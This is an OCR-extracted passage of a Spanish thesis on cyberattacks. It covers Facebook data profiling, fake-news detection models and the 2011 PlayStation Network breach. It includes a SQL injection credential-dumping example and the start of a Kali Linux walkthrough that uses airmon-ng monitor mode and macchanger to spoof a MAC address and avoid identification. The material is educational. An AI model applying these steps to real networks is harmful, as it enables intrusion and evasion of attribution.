Lo siguiente que podemos visualizar son los intereses en funcién de mi actividad en facebook que permiten

que se genere publicidad personalizada para mi en funciéon de los clicks que hago en la aplicacidn.

Intereses de anuncios

Ver en Facebook
2 Chainz
ABOUTYOU
Accesorios de moda
Acondicionamiento fisico
Adidas

Figura 51. Intereses de Anuncios

4.5.1.4. COORDENADAS DE TU CARA

Una de las cosas que me ha llamado mas la atencién es que Facebook ha generado una especie de
impresion digital de mi rostro. Podemos ver tres lineas con una serie de numeros que se explica de la

siguiente manera:
"Hay 34 puntos en la cara que son fijos. La distancia entre esos puntos se puede calcular, y ese cdlculo

permite que un algoritmo consiga identificar automdticamente una cara" ®7.

Reconocimiento facial

Ver en Facebook

Figura 52. Coordenadas de mi Cara segun Facebook.

Como podemos ver la informacién que guarda Facebook de mi es inmensa y todo esto se ha generado sin
tener consciencia de ello hasta que he indagado en el tema, ya no solo guarda mi informacion sino la de
mis contactos por lo que podemos ver que realmente uniendo los datos recogidos por el test psicotécnico
de Kogan a todos los datos masificados que tiene Facebook de un usuario se puede predecir el

comportamiento de una persona facilmente y que esta pueda ser ciber atacada.
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4.6. DETECCION FAKE NEWS EN REDES SOCIALES

Como hemos visto hasta ahora hoy en dia predomina el uso de fake news en redes sociales para intentar
influir a los usuarios de tal forma que se produzca un nivel muy alto de desinformacién en la poblacién. El
problema llega cuando estas noticias se utilizan para perjudicar a la sociedad como por ejemplo el fraude

electoral que se produjo con el ataque ideado por Cambridge Analytica.

El objetivo primordial de las redes sociales para afrontar este problema es el de crear las herramientas
necesarias para detectar estas fake news y eliminarlas, en este apartado veremos algunos ejemplos de
herramientas que utilizan las redes sociales, obviamente no han desvelado del todo las herramientas

utilizadas ya que de este modo los atacantes podrian aprender a esquivarlas, lo que veremos seran los

modelos principales en las que estan basadas.

@ _ Datascraping . Datase Data cleaning/

exploration

World wide web

Maodel training
Jensemble
methods features

Hyperparameters/
model tuning

User query
P et Traincd model [ Classificalion

Figura 53. Técnicas de conjunto usadas para la deteccidn de fake news

En la figura anterior podemos ver como se trata todo tipo de informacidon en la web para ser discutida
como real o falsa. Procedamos a explicarlo dividiendo dos fases, toda la comprobacidn que realizan todas
las redes sociales o investigadores para comprobar la veracidad de la informacidn y tras ello el modelo de
evaluacidn que es realmente el algoritmo propio que utiliza cada dominio para obtener mayor precision de

deteccién de fake news.
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4.6.1. COMPROBACION PRELIMINAR DE INFORMACION

Antes de que la informacidn pase a cada uno de los algoritmos que se han programado y veremos en el

siguiente apartado tiene que procesarse para que esté bien definida.

Figura 54. Comprobacién Preliminar de Informacion

e Dataset Collection (Coleccién de Conjunto de Datos): Existen diferentes colecciones en linea para
publicar contenido de noticias legales y otras colecciones para la verificacion de datos, por lo que la

primera etapa puede ser verificar la autenticidad de nuestras noticias a través de estos filtros.

e Data Cleaning / Exploration (Limpieza de Datos / Exploracidn): La siguiente etapa incluye el
filtrado de informacién de noticias, que filtra de diferentes formas, como autor, fecha de
publicacion, categoria ... Ademas de esta exploracién, también limpia contenido relacionado, como
articulos sin texto, como imagenes, y permite estructurar todo el texto en una sola columna de

contenido.

e Extract linguistic features (Extraer caracteristicas lingiiisticas): Se trata de codificar la informacion
de acuerdo con las caracteristicas del lenguaje utilizado, como el porcentaje de palabras
irrelevantes utilizadas, el lenguaje informal o la puntuacién utilizada. Un ejemplo es la herramienta
LIWC, que es un programa que analiza diferentes dimensiones del lenguaje a través de muestras de
texto, puede extraer 93 caracteristicas diferentes de cualquier texto, lo que permite al modelo de

entrenamiento detectar noticias con caracteristicas similares.

o Feature selection (Seleccion de Caracteristicas): Implica seleccionar las caracteristicas que
gueremos extraer de un texto dado para entrenar nuestro modelo y mostrarle el tipo de

caracteristicas que nos interesan, como la cantidad de veces que se usa una palabra.
Una vez analizados todas estas caracteristicas lo siguiente que hacemos como hemos indicado

anteriormente es pasarselo a los modelos de entrenamiento que seran los algoritmos que se encarguen de

clasificar esta informacion dada para decidir si el articulo es real o falso.
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4.6.2. MODELOS DE EVALUACION Y ALGORITMOS

A continuacién nos centraremos en la segunda fase, la fase en la que ya tenemos todos los datos de
entrenamiento y se lo pasaremos a nuestro algoritmo para que en funcién de estos datos pueda

determinar si una noticia es real o falsa con un nivel de prediccidn suficiente.

Cada red social utiliza un algoritmo diferente, este algoritmo es privado por lo que no podemos saber
realmente qué algoritmo utiliza cada una de ellas pero si que podemos estudiar los modelos mds basicos en

los que estan basados y los veremos a continuacion.
4.6.2.1. REGRESION LOGISTICA

Lo que hemos hecho en las fases anteriores ha sido preparar nuestro texto para nuestro algoritmo y hemos
pasado de tener un texto a tener un conjunto de caracteristicas, estas caracteristicas son las que
determinaran el resultado de este modelo y da como resultado una Unica salida binaria en la que el

resultado puede ser articulo verdadero o falso.

La regresion logistica consiste en estimar la relacién entre distintas variables dependientes e
independientes, recordemos que teniamos caracteristicas que toman valores entre 0-1 y otras que

tomaban valores entre 0-100 por lo que este modelo permite relacionar ambas.

Definamos a continuacion la funcidn de hipdtesis de regresion logistica:
1 e (Bo+B1x)
14+er—(By+f1x)= 1+ eBothn)

ho(X) =

Podemos definir la probabilidad del modelo simplificando aiin mas el modelo como:
1 e (BotB1%) ho(X)
= -
1+er—(Bo+p1x)= 1+eBoth) 1 —hy(X)

ho(X) = — o(BotB1%)

Una vez hayamos encontrado el valor final lo que tenemos que hacer es minimizar la funcién de coste para

convertir este valor obtenido en un valor de probabilidad:

I
=

log(ho (X)), y
—Iug(l — hg{}.’}}, ¥

COST (ho(X),y) =

I
=

Una vez hayamos sacado las probabilidades de la variable dependiente con cada una de las caracteristicas
introducidas deberemos de aplicar otro modelo como puede ser chi-cuadrado que permitird contrastar si el

coeficiente de cada resultado es éptimo y aplicar un nivel de confianza dado.
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4.6.2.2. K-NEAREST NEIGHBORS

Ahora nos centramos en un modelo de aprendizaje que ha crecido mucho en los ultimos afios, en el que no
necesitamos tener variables dependientes para predecir el resultado de datos especificos. Pasamos los

datos a nuestro modelo de entrenamiento, pero debemos clasificarlo como "vecindarios".

Tratemos a cada vecindario como un nodo que contiene un conjunto de datos. La clave de este modelo es
calcular la distancia euclidea entre los nodos adyacentes. Cuando un nuevo dato estima la mayoria de los
votos de sus vecinos, si el valor de K es 1, entonces este nuevo dato serd asignado a sus vecinos mas

cercanos, veamoslo de una forma mas practica.

Supongamos que tenemos un nuevo punto de datos y necesitamos predecir. Lo primero que vamos a hacer
es encontrar el punto K mas cercano a Z mediante el célculo de la distancia euclidea (aunque se puede

calcular mediante la distancia Manhattan o distancia Minkowski) aplicando la siguiente formula:

1
distance =

Hasta este punto hemos calculado la distancia entre el nuevo par de datos y todos los nodos vecinos y
hemos encontrado sus vecinos mas cercanos. El modelo permite definir el nUmero de vecinos que van a

participar en la votacién para determinar a qué conjunto pertenece este dato.

A continuacion el conjunto de vecinos mas cercanos seleccionados votard por el conjunto de datos nuevo y

el que contenga una mayor votacién sera el vecindario al que se introduzca el nuevo dato.

4.6.2.3. MODELOS DE CONJUNTO

Otra opcidn es aplicar un modelo de conjunto, que permite aplicar técnicas de diferentes algoritmos para
resolver problemas como la creacidn de restricciones de decisién de datos para proporcionar resultados
casi 6ptimos.

A continuacidn veremos dos modelos de conjuntos muy conocidos, el primero es Kogan aplicado en su

aplicacion de recoleccion de datos

4.6.2.3.1. RANDOM FOREST

Consiste en tener un gran numero de arboles de decision donde cada uno de ellos predice un resultado de
una clase, digamos que esta prediccién es una prediccion primaria. El siguiente paso es exponer todas las
predicciones de cada arbol de decisién y someterlas a voto para obtener una prediccidn final que serd la

gue haya recibido mayor nimero de votos.
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Digamos que Random Forest lo que hace es crear un numero aleatorio de arboles definidos en un bosque,
cada uno de estos arboles de decisidn obtiene una prediccidén primaria y al combinarse con el resto de los
arboles se obtiene una prediccién mas precisa. Al crecer los drboles se busca la mejor caracteristica entre

todas las caracteristicas disponibles.

Vedmoslo aplicado a un ejemplo relacionado con nuestro caso de estudio, deseamos predecir si una
persona va a hacer click en un anuncio, para ello debemos recopilar informacién sobre el anuncio, el
clickbait del usuario en el pasado y en algunas caracteristicas que describan su decision.

Si introducimos estas caracteristicas en un arbol de decisidn se generaran algunas reglas para predecir si el
usuario hara click o no. Si en lugar de introducirlo en un solo arbol de decisién lo introducimos en un
modelo de bosques aleatorios lo que hara es introducir las caracteristicas de forma aleatoria en distintos
arboles y se generaran distintas predicciones, lo que hara este modelo es promediar todos los resultados y

dar un resultado final.
4.6.2.3.2. BOOTSTRAP AGGREGATION

Es un método de conjunto disefiado para reducir el sobreajuste de un conjunto de entrenamiento para un
modelo, mejora la estabilidad y precision ademas de reducir la varianza. Se puede aplicar a cualquier tipo

de algoritmo aunque comunmente es aplicado al modelo Random Forest explicado anteriormente.

B%ﬁﬁ"ﬁj

Figura 55. Modelo Agregacion Bootstrap ©*°

La técnica de este modelo consiste en lo siguiente, tenemos un conjunto de entrenamiento D de tamafio n.
Nuestro modelo genera m nuevos conjuntos de entrenamiento D’ de tamafio n’ generados de manera
uniforme y con remplazo de datos sometidos a votacion, es decir, e, conjunto de datos menos votados se

suprimen.
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A partir de estos nuevos conjuntos definidos por m se construyen nuevos modelos de aprendizajey la
prediccién final de la combinacion de los nuevos modelos se consigue mediante votacion de todas las

predicciones.

Se han obtenido resultados en los que este meta-algoritmo aplicado a modelos como Random Forest ha
permitido mejorar los resultados pero en cambio, aplicado a otros algoritmos como K-vecinos mas cercanos
ha producido resultados mediocres incluso empeorando el resultado del algoritmo por lo que se produjo

una modificacién de este modelo para que pueda aplicarse y lo veremos a continuacion.

4.6.2.3.3. ADABOOST

Es una variante del modelo anterior para poder aplicarse en algoritmos como K vecinos mas cercanos en los

gue el modelo anterior daba resultados mediocres.
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Figura 56. Modelo AdaBOOST [

Inicialmente este modelo asigna un peso idéntico a todos los conjuntos de datos y se procede a
introducirlos en el conjunto de entrenamiento, tras ello se calcula el error y se cuentan cuantos objetos han

sido mal clasificados y se identifican cada uno de ellos.

El siguiente paso es incrementar los pesos de aquellos datos que habian sufrido errores de clasificacion y se
repetira este proceso segun el nimero de iteraciones indicado, una vez terminado el bucle, el modelo final
se consigue por votacién ponderada usando el peso de todos los modelos, de tal forma que los datos que

hayan producido resultados correctos seran los que mayor decision tengan.
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4.7. ULTIMAS ACTUALIZACIONES

Pese a que este caso sucedid en el ano 2018, a dia de hoy siguen surgiendo nuevas actualizaciones sobre el
caso. En este punto veremos estas actualizaciones, qué papel jugd Facebook en todo esto, que pasé con el

famoso juicio de Zuckerberg y que sentencia se les impuso y a quien.

Nos situamos en la fecha del 10 de Abril de 2018, dia en el que el CEO de Facebook, Mark Zuckerberg,
testifica frente al senado de los Estados Unidos. El juicio formado por 44 senadores durd hasta 5 horasy en
él se le cuestiond a Zuckerberg el motivo por el cual no se ha hecho nada mas para proteger los datos de los

usuarios.

Figura 57. Mark Zuckerberg Declarando en el Senado !

Tras este juicio la comisidn federal de comercio de los estados unidos condend a la red social a pagar 5.000
millones de ddlares como sancién a los temas mencionados durante el capitulo, no obstante no fue la Unica
multa impuesta sino que también se obliga a la compafiia a crear un comité independiente para temas de

privacidad sobre el cual Zuckerberg no tenga control sino que esté controlado por medios estatales.

Tras la condena la compafia se comprometié a cambiar algunos puntos de su plataforma como pueden ser:
e Explicar cdmo se obtienen datos de personas que no se han registrado nunca en Facebook
denominados “perfiles ocultos”.
e Ofrecer mayor posibilidad de eleccién a los usuarios.
e Actuar sobre el sesgo de algoritmo para moderar mejor la informacion.

e Crear normas especificas para la proteccion de los nifios en la red social.

La empresa no solo habria tenido que comprometerse a cambiar distintos ambitos de su red social, entonar
el mea culpa en referencia al caso de Cambridge Analytica y pagar la multa millonaria por lo hecho sino que

también se veria afectada en bolsa. ®U
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Si a dia de hoy comprobamos el valor de las acciones en bolsa de Facebook encontraremos que durante el

periodo en el que se descubre el caso de Cambridge Analytica sus acciones caen de forma rotunda.

T
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Figura 58. Valor de Acciones de Facebook !

Como hemos indicado, en la imagen podemos ver que durante el mes de Abril de 2018 las acciones de
Facebook comenzaron a caer a sus niveles mas bajos, pese a todo el escandalo que supuso vemos que a dia

de hoy la empresa ha remontado el valor de sus acciones.

Algunos economistas y analistas de mercado indicaron en su dia que éste escandalo pese a ver
graficamente que sus acciones se habian visto afectadas le supuso un gran crecimiento a la empresa de

Zuckerberg.

Una vez visto lo que ha pasado con la empresa Facebook, a la cual se acusa de no haber tomado las
medidas necesarias para la proteccidén de datos, indaguemos que ha pasado con la empresa Cambridge

Analytica la que usé la plataforma para el robo de datos pero habria ideado el ataque.

Nos situamos en la fecha del 2 de Mayo de 2018, dia en el que Alexander Nix, jefe ejecutivo de Cambridge
Analytica anuncia que la empresa cierra sus puertas de forma permanente declarando que se encuentra en
estado de bancarrota y alega que sus empleados siempre habrian actuado de forma legal y ética.

La comisién FTC indicé que a pesar de que la empresa se declarase en bancarrota se iba a seguir con las
investigaciones y que no se iba a dejar de lado la empresa, asi mismo, todas las sedes de la empresa en

Gran Bretaia fueron registradas por la policia para evitar la destruccidn de pruebas.
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4.8. GLOSARIO

Durante éste Ultimo punto trataremos de explicar brevemente los conceptos mas relevantes que hemos

tratado durante el desarrollo de este capitulo en orden alfabético.

e Bots: el término Bot es un acrénimo de “robot”, en concreto durante la realizacidon de nuestro caso
hemos hablado de “bots sociales” es decir los bots que son utilizados en este ambito para generar
mensajes automaticamente (como pueden ser fake news), defender ciertas ideas, apoyar
campafias... etc. Los bots son generalmente agentes programados informaticamente para actuar

con este fin.

e Data Science: Es la ciencia centrada en el estudio de los datos, combina los ambitos de estadistica,
matematicas o informatica para el analisis y la clasificacién de los datos con el objetivo de tomar
decisiones. Esta ciencia se centra en crear herramientas que permitan traducir los datos en
informacién de alto valor y debemos diferenciarla del término Big Data el cudl se encarga de

resolver los problemas de gestién y almacenaje de los datos.

e Microtargeting: Es una técnica utilizada en el mercado para influir en las decisiones de los usuarios,
consiste en el andlisis de gran cantidad de datos para buscar patrones que permitan clasificar a los
usuarios para saber de qué manera hacerlo, de esta manera, dos usuarios pueden ser atacados con
un mismo anuncio pero con mensaje diferente de tal manera que ambos interactien con él. En la
realizacion de este capitulo hemos visto como este término se ha usado para influenciar

politicamente en los usuarios.

e Modelo OCEAN: denominado el modelo de los 5 factores, fue utilizado por la aplicaciéon de Kogan
“ThislsYourDigitalLife” con el objetivo de poder analizar una gran amplia fama de rasgos de

personalidad y andlisis factorial. Estos 5 factores son los siguientes:

o Apertura a la experiencia 0]
o Escrupulosidad C
o Extroversion E
o Amabilidad A
o Neuroticismo N

e Usuarios Ocultos: definidos por la red social Facebook, son aquellos usuarios de los que se han
podido obtener datos en la plataforma pero que realmente estos usuarios no estan registrados en
la plataforma. Durante el juicio de Zuckerberg expresé que realmente su red social monitorea a los
no-usuarios por razones de “seguridad” y prometié compartir mas detalles de cémo su red social

permite monitorear estos datos de usuarios que realmente no han abierto una cuenta en ella.
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5. SONY PlayStation NETWORK

En el desarrollo de este Ultimo capitulo veremos cémo los ciberataques también son dirigidos a plataformas
de entretenimiento como las que brinda la empresa Sony. La empresa Sony es una empresa
conocida a nivel mundial de origen Japonés que inicialmente comenzé en la fabricacién de
electrénica de consumo pero que ha ido comiendo terreno en el mercado mediante el desarrollo

de software, videojuegos, audio, video, etc.

5.1. ANALISIS

Estudiemos la plataforma PlayStation Network (PSN). Se trata de un servicio en linea nacido en 2006 y
destinado a la conexidn de diferentes usuarios para poder jugar online pero no solo esto sino diferentes

funciones como comprar videojuegos, musica o navegar por internet.

Todo comenzé el 20 de abril. Cuando el personal responsable de administrar la plataforma comenzé a
detectar actividad anormal en la red por la cual se habian caido muchas funciones como por ejemplo al
iniciar sesidn los usuarios obtenian el siguiente mensaje de error « Se ha producido un error. Se ha cerrado

su sesién de PlayStation Network (Error 80710A06) » %! impidiendo su acceso.

La empresa tachd el incidente como una "tarea de mantenimiento" el primer dia, pero al dia siguiente Sony
se dio cuenta de que no se trataba de una interrupcion normal del servicio, sino de un ataque. Decidi6
mantener la sospecha confidencial (en otros seis dias) de que alguien podria haber accedido ilegalmente al

sitio.

Como consecuencias del ataque Sony decidié tomar las siguientes medidas:
e Apagdn general de todos los servicios ofrecidos por PlayStation Network
e Contratacién de empresas para la investigacion como Guidance Software o Protiviti (a las que mas
tarde se le uniria el FBI)
e Trabajar en nuevas medidas que solucionen todas las brechas de seguridad activas y fortalezca el

sistema de seguridad de cara al futuro.

Antes de iniciar la investigacién, Sony recordd a los usuarios los datos potencialmente robados, como
identificacion, nombre, direccién, historial de compras, facturas y respuesta de seguridad de contrasefa. Es
por eso por lo que los usuarios se resistieron a los servicios de proteccién de datos de la compaifiia e incluso

presentaron denuncias.
A medida que avanzaba la investigacidn, se concluyé que el ataque pudo haberse iniciado mediante

técnicas de denegacion de servicio (DDoS) e inyeccion SQL, que veremos de forma mas técnica mas

adelante.
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5.2. ATRIBUCION

A partir de este punto diremos que, como suele ocurrir en la mayoria de los ciberataques, la verdadera
autoria no es del todo correcta, pero hay muchos supuestos totalmente refutados que pueden apuntar al

culpable.

El causante en el punto de mira de este ataque es Anonymous, se trata de un colectivo de indole
“hacktivista” definidos como una jerarquia en la que no hay un lider definido, no tienen ideologia propia,

no atienden a ningun partido politico y se encuentran distribuidos por todo el mundo.

Su lema principal es « We are Anonymous. We are Legion. We do not forgive. We do not forget. » 72!
(Somos Anonymous, somos legién, no perdonamos, no olvidamos.). En todos sus videos aparecen con la
popular mascara de Guy Fawkes de la pelicula ‘V de Vendetta’ y su forma de atacar es mediante el robo de

informacién confidencial para hacerla publica.

Veamos sus principios ya que, saltarse alguno de estos son las motivaciones principales para realizar un

ataque: I

e “Anonymous significa libertad de informacion”

e “Anonymous significa libertad de expresion”

e “Anonymous significa un Internet no regulado”

e “Anonymous solo realiza ataques cuando éstos son atacados o cuando son provocados”

e “Anonymous realiza ataques con un fin de ganancia econémica”

Haciendo un ‘Spoiler’ de quien ha sido tachado como autor/es del ataque a PSN pasemos a refutar el
motivo por el que se sefiala a este grupo de hackers, para ello apuntemos a finales del afio 2010 en el cual
Sony hace una actualizacion de seguridad en sus dispositivos PS3 en la cual (entre otras funciones) se

descartaba el uso del SO Linux.

Aparece en escena George Hotz (GeoHot) un usuario experimentado que ha logrado hacer jailbreak sobre
el sistema permitiendo eludir este nuevo sistema de seguridad permitiendo hacer uso de software no

autorizados en los dispositivos de Sony.

Tras hacerse publica esta informacidn, a finales de Enero de 2011 Sony demanda a este usuario y pide una
orden de arresto para evitar que siga distribuyendo las herramientas desarrolladas para eludir el sistema de
seguridad, ante esta demanda GeoHot se pronuncia mediante un video de ‘rap’ en internet en el que se

escuchan frases como « yo soy la personificacion de la libertad para todos » 4.

Dias después el Tribunal de Justicia de los EEUU aprueba la demanda de la empresa y permite a esta

acceder a todas las direcciones IP de aquellos usuarios que habrian visitado el blog. Tras esto aparece en

escena el grupo Anonymous lanzando un ataque contra diferentes dominios web de Sony por las
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represalias tomadas contra Hotz. Dias después Sony resolvid a su favor el caso de Hotz pero recibié
mensajes del grupo Anonymous indicando que continuaran con el boicot a la empresa por los recortes de

libertad en sus dispositivos.
Nos situamos en la fecha del 20 de Abril de 2011, fecha en la que los trabajadores de Sony detectan la
intrusién en sus servicios de personas no autorizadas y como no pueden determinar de quienes se trata

deciden apagar todos los sistemas.

A raiz de esta deteccion entran en juego las empresas contratadas para la investigacion forense del ataque

cibernético antes mencionadas, Guidance Software y Protiviti, las cudles comienzan a dar (poca)

informacién de lo sucedido.

Se descubre que han sido atacados hasta diez servidores de PSN y pese a que de momento no se ha llegado
a ninguna conclusidn, se decide hacer una duplicacién de los servidores afectados. La investigacion sigue
dando sus frutos y Sony confirma que « se utilizaron técnicas muy sofisticadas y agresivas para obtener
acceso, ocultar su presencia a los administradores de sistemas y aumentar constantemente sus privilegios

dentro de los servidores. Los intrusos eliminaron los archivos de registro para ocultar su trabajo » ©*,

En este momento se acuso de nuevo a Hotz por su poca empatia con la empresa por lo sucedido los meses
anteriores lo que negé rapidamente y acuso al grupo Anonymous diciendo que estos son los que se sabe
que atacan mediante DDoS. También aprovechd sus declaraciones para atacar a Sony postulando lo
siguiente « Una guerra contra hackers la tienes perdida en el momento que para ganarla contratas

abogados de gran importancia en vez de contratar buenos expertos en seguridad. » 1,

Durante los dias posteriores se empezaron a hacer publicas las declaraciones de los altos cargos de la
empresa indicando lo sucedido. Se encuentran nuevas pruebas de que los hackers entraron por los
servidores de ‘Sony Online Entertainment’ los servidores destinados al juego en linea (online) entre

usuarios.

Se deciden investigar todos estos servidores online y en cada uno de ellos se encuentra un archivo de texto
denominado “Andnimo” con el siguiente contenido “Somos Legion”, éNos recuerda a algo este mensaje?,

en este momento es cuando se puso sobre la mesa la autoria de Anonymous en el ataque.

Tras estas acusaciones Anonymous se pronuncia diciendo que su equipo “No tiene lider”, que cada persona
es “Andnima” y libre de “atacar” a lo que Sony respondié que habian encontrado los archivos que

delataban al grupo Anonymous. 7%
El motivo de acusar sin muchas pruebas al grupo Anonymous fue para encontrar una ‘cabeza de turco’ para

mostrar publicamente que se ha podido restablecer el sistema y reiniciar de nuevo todas las funciones del

servicio para evitar pérdidas econdmicas mayores.
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5.3. TIMELINE

Seguidamente, como hemos hecho en los dos capitulos anteriores, veremos cronolégicamente los hitos

mas importantes de este ataque. 1*¥

Sony informa de que Los usuarios denuncian Sony comienza a informar
algunas funciones de la en redes sociales la falta de lo sucedido tras los
plataforma no estan de infarmacién y la rumares de un hackeo
disponibles demaora en la solucidn masivo en su blog

T - T - T

I - T - [

Comienzan El Departamento de Aparecen rumaores a cerca
actualizaciones gue Justicia de EEUU de que los datos de
permiten al servicio comienza una tarjetas bancarias podrian

operar de nuevo investigacidn de lo estar en el mercado negro
poniendo una fecha de sucedido para encontrar a
retorno los responsables de la

vulneracion de seguridad

Figura 60: Timeline Ataque PlayStation Network

Deteccion
= 20 de Abril PlayStation informa en Twitter que ciertas funciones, como los juegos en linea, se han
desactivado. Se pide paciencia, ya que se estd trabajando arduamente para resolver el problema lo

antes posible.

= 21 de Abril Sony comenzd a utilizar su blog personal como una herramienta para comunicarse con
los usuarios. El director Patrick Seybold escribié el siguiente post « Mientras estamos investigando
la causa del apagdn que tuvo el servicio de PlayStation Network, queremos alertarles que
probablemente tomard un dia o dos regresar el servicio al 100%. Muchas gracias por su paciencia
en lo que trabajamos en resolver este problema. Les compartiremos mds detalles aqui en el blog en

cuanto los tengamos » [,

Crisis Social
= 26 de Abril Los usuarios comenzaron a publicar en redes sociales y blogs de PlayStation,
condenando la falta de informacién y condenando los ciberataques en la plataforma. La plataforma
requiere mas calma y hay rumores de que se ha producido un ataque de intrusién no autorizado en

laredy el servicio se ha cerrado para detener el ataque.
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Sony Declara

27 de Abril Después de que los rumores inundaron las redes sociales, Sony se hizo cargo del tema

de la seguridad y afirman haber encontrado la brecha de seguridad tras lo cual comienzan a
resolver.

28 de Abril Sony vuelve a publicar un articulo en su blog que proporciona mas informacién sobre el
problema y respondiendo las preguntas frecuentes de los usuarios. Fue en este momento que Sony

notificd al FBI de lo sucedido luego de unos dias de investigacién privada.

Tarjetas Bancarias

30 de Abril Vuelven a aparecer rumores de que distintos usuarios han recibido cargos en tarjetas
bancarias asociadas con el servicio de PlayStation por lo que se conjetura de que dichas tarjetas
han podido ser filtradas en el mercado negro, entra en escena el vicepresidente Hirai que

desmiente esta informacién en una conferencia de prensa.

Investigacion

04 de Mayo Después de descubrir que el FBI fue informado de lo sucedido relativamente tarde, el
fiscal general Eric Holder informé que el Departamento de Justicia estd investigando lo sucedido.
Ademads de esta queja, esta el senador Blumenthal, quien le pidié al CEO de Sony que respondiera

por qué millones de clientes no fueron informados de la violacién de datos.

05 de Mayo Como respuesta al senador antes mencionado el CEO de la empresa, Howard Stringer,
publica una carta publica disculpandose por la demora en informar a los usuarios y refutando que
lo sucedido fue un ataque pirata cuidadosamente preparado. Estas declaraciones provocaron que

el precio de las acciones de la compaiiia sufriera una fuerte caida en el mercado.

17 de Mayo Stringer decidié una vez mas realizar una rueda de prensa en Nueva York para sofocar
los rumores que circulan en las redes sociales, y una vez mas se disculpé por la falta de

transparencia de lo sucedido.

Actualizaciones

30 de Mayo Después de que comenzara la interrupcion del servicio, PlayStation informé en su blog
qgue la compaiiia habia realizado mejoras en la seguridad y los procesos comerciales. Comenzaron a

dar fechas para las fases de recuperacion de diferentes continentes.

02 de Junio Se anuncia en un ultimo post que el servicio de PSN vuelve al completo mediante una

actualizacién incluyendo nuevos programas de “Bienvenida” a usuarios y recompensas por lo
sucedido.
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5.4. ATAQUE

A continuacién vamos a estudiar de forma técnica las herramientas que se han usado para llevar a cabo el
ataque a los servicios PSN, antes de comenzar he de indicar que ‘por razones de seguridad’ la empresa Sony
no hace publica la forma en la que se lleva a cabo los ataques sobre su plataforma por lo que el vector de

ataque no es posible de documentar pero nos centraremos en explicar las técnicas utilizadas.

Dividiremos el ataque en dos fases, la primera de ellas sera el ataque mediante denegacién de servicio
distribuida (DDoS) el cual provoca que los recursos de la red que han sido atacados no estén disponibles
para los usuarios, esta fue la primera hipdtesis de como se habia llevado a cabo el ataque pero como el
ataque durd tanto tiempo se puso encima de la mesa el segundo método que estudiaremos que sera

inyeccidn SQL, sin duda estos dos tipos de ataques constituyen entorno al 53% de los ataques cibernéticos.
- oia
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Figura 61: Ataque mediante DDoS 74

! UNION SELECT username, password FROM users——

SELECT name, description FROM products WHERE category
= '"Gifts' UNION SELECT username, password FROM users-—-

-

Figura 62: Ataque mediante SQLinjection 17®
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5.4.1. DENEGACION DE SERVICIO DISTRIBUIDA

El objetivo de un ataque de denegacidn de servicio es deshabilitar los servicios de red. El atacante de la
computadora "principal" es responsable de generar "bots" o "zombies" capaces de enviar simultdneamente
solicitudes desde distintos puntos de red generando asi una sobrecarga de ancho de banda o un
agotamiento de recursos del sistema de tal manera que el servidor no sea capaz de procesar los paquetes

siguientes. [74

Podemos distinguir dos tecnologias. Por un lado, estdn los llamados "DoS", es decir, aquellos ataques
ejecutados desde un solo equipo, o los llamados "DDoS", es decir, aquellos ataques que se planifican

cuidadosamente. desde diferentes computadoras. En nuestro caso serd de tipo DDoS.

En el caso de un ataque DoS, dado que es una Unica direccion IP, si se detecta dicho ataque, puede ser
interceptado por el administrador. En el caso de DDoS, cuando la solicitud proviene de multiples

direcciones IP, es mas dificil y casi imposible de detectar o bloquear.
¢Cémo funciona un ataque DDoS/Dos?

Sabemos que existe un limite en la cantidad de solicitudes que un servidor web puede procesar al mismo
tiempo, pero no solo existe este limite, sino que el canal conectado al propio servidor también tiene un

limite en la capacidad de paquetes de datos que puede atravesarlo.

Cuando se supera alguna de estas dos limitaciones ocurre lo siguiente:
e larespuesta de las nuevas solicitudes serd mucho mas lenta de lo normal

e Esposible que se ignoren las siguientes solicitudes de los usuarios
Este es el objetivo del atacante dejar el servidor inutilizado para que no pueda solicitar nuevas peticiones.
Normalmente los ataques, al ser de tipo distribuido, son generados a raiz de una red zombie como hemos
mencionado antes pero realmente a qué se define este término. Consiste de un conjunto de dispositivos

conectados a la red que han sido infectados por un malware el cual permite que un atacante tenga el

control remoto de estos dispositivos sin ser detectado, se definira asi a este dispositivo como ‘zombie’.
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5.4.1.1. SIMULACION ATAQUE DDo$S

En este apartado vamos a experimentar realmente como se hace un ataque de denegacién de servicio,
para ello haremos uso del software ‘VirtualBox’ que nos permita tener una maquina virtualizada en nuestro
ordenador y haremos uso del sistema operativo cominmente mads usado en relacidn con los ciberataques,

se trata del SO ‘Kali Linux’.

Como hemos utilizado el SO en una mdquina virtual he tenido que comprar un adaptador USB Wifi que
actuase como tarjeta de red, en concreto el modelo ‘U6 Tenda 300Mbps’, esto permitird que el sistema Kali

pueda conectarse de forma inaldmbrica a las redes, de lo contrario no podriamos realizar ‘ataques’.

Lo primero que tenemos que hacer es instalar dos programas, uno de ellos para escanear las redes como
puede ser nmap o aircrack y el segundo de ellos para cambiar la direccion MAC de nuestro ordenador como

puede ser el programa macchanger. Esta simulacidn de ataque se hard en un terminal Kali Linux.

Instalamos los programas desde el terminal de Kali (introduciendo los comandos que veremos en las

imagenes).

[home/kali
install aircrack-ng
Done
Done
Done

Figura 63: Instalacion de Paquetes en Kali

El motivo de cambiar la direccion MAC es que al realizar ataques es que si se descubre el “ataque” se puede
investigar y descubrir que hay un atacante cuyo nombre en la red es la MAC, si la cambiamos seremos

“invisibles” ya que no somos nosotros realmente.
A continuacidn lo siguiente que vamos a hacer es ver que interfaces de red tengo disponibles para poder

acceder, para ello tan solo tenemos que introducir el comando ‘ifconfig’ que nos mostrara informacién

detallada de mis interfaces de red.
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bytes 8
dropped
899 by [
dropped @ overru } a er @ collisions @

LG 2 B)
overruns @

collisions @
wlan@: flags=41

uns ( 20-0@ txqueuelen 1@
2@ (UNSP

rruns @ carrier @ collisions @

Figura 64: Comando ifconfig en Kali

Como vemos nuestra red wlan0 es la que tenemos configurada para tener acceso a redes inaldmbricas
gracias a un adaptador wifi. Lo siguiente que vamos a hacer es ‘sniffear’ dicha red, vamos a escuchary

hacer captura de todos los paquetes que se envien.

Para activar esta funcién de ‘sniffer’ (olfateo) lo que tenemos que hacer es poner el modo monitor lo que
nos permite capturar todas las direcciones MAC, esto lo haremos mediante el comando “airmon-ng start
wlan0Q”. Si ahora hacemos un iwconfig nos dard las propiedades inalambricas de las redes y veremos que se
ha puesto en modo monitor.

m ~

ntig
no wireless extensions.

no wireless extensions.

Figura 65: iwconfig sobre Kali

Lo siguiente que vamos a realizar es cambiar la direccion MAC de la red monitorizada ya que tiene la misma

que la red inaldmbrica wlan0 por lo que podemos ser reconocidos.

2 /home/kali
3 wlan@
Current MAC: 50:2b:73:c4:0b:ca (unknown)
Permanent MAC: 50:2b:73:c4:0b:ca (unknown)

2 /home/kali
; wlan@
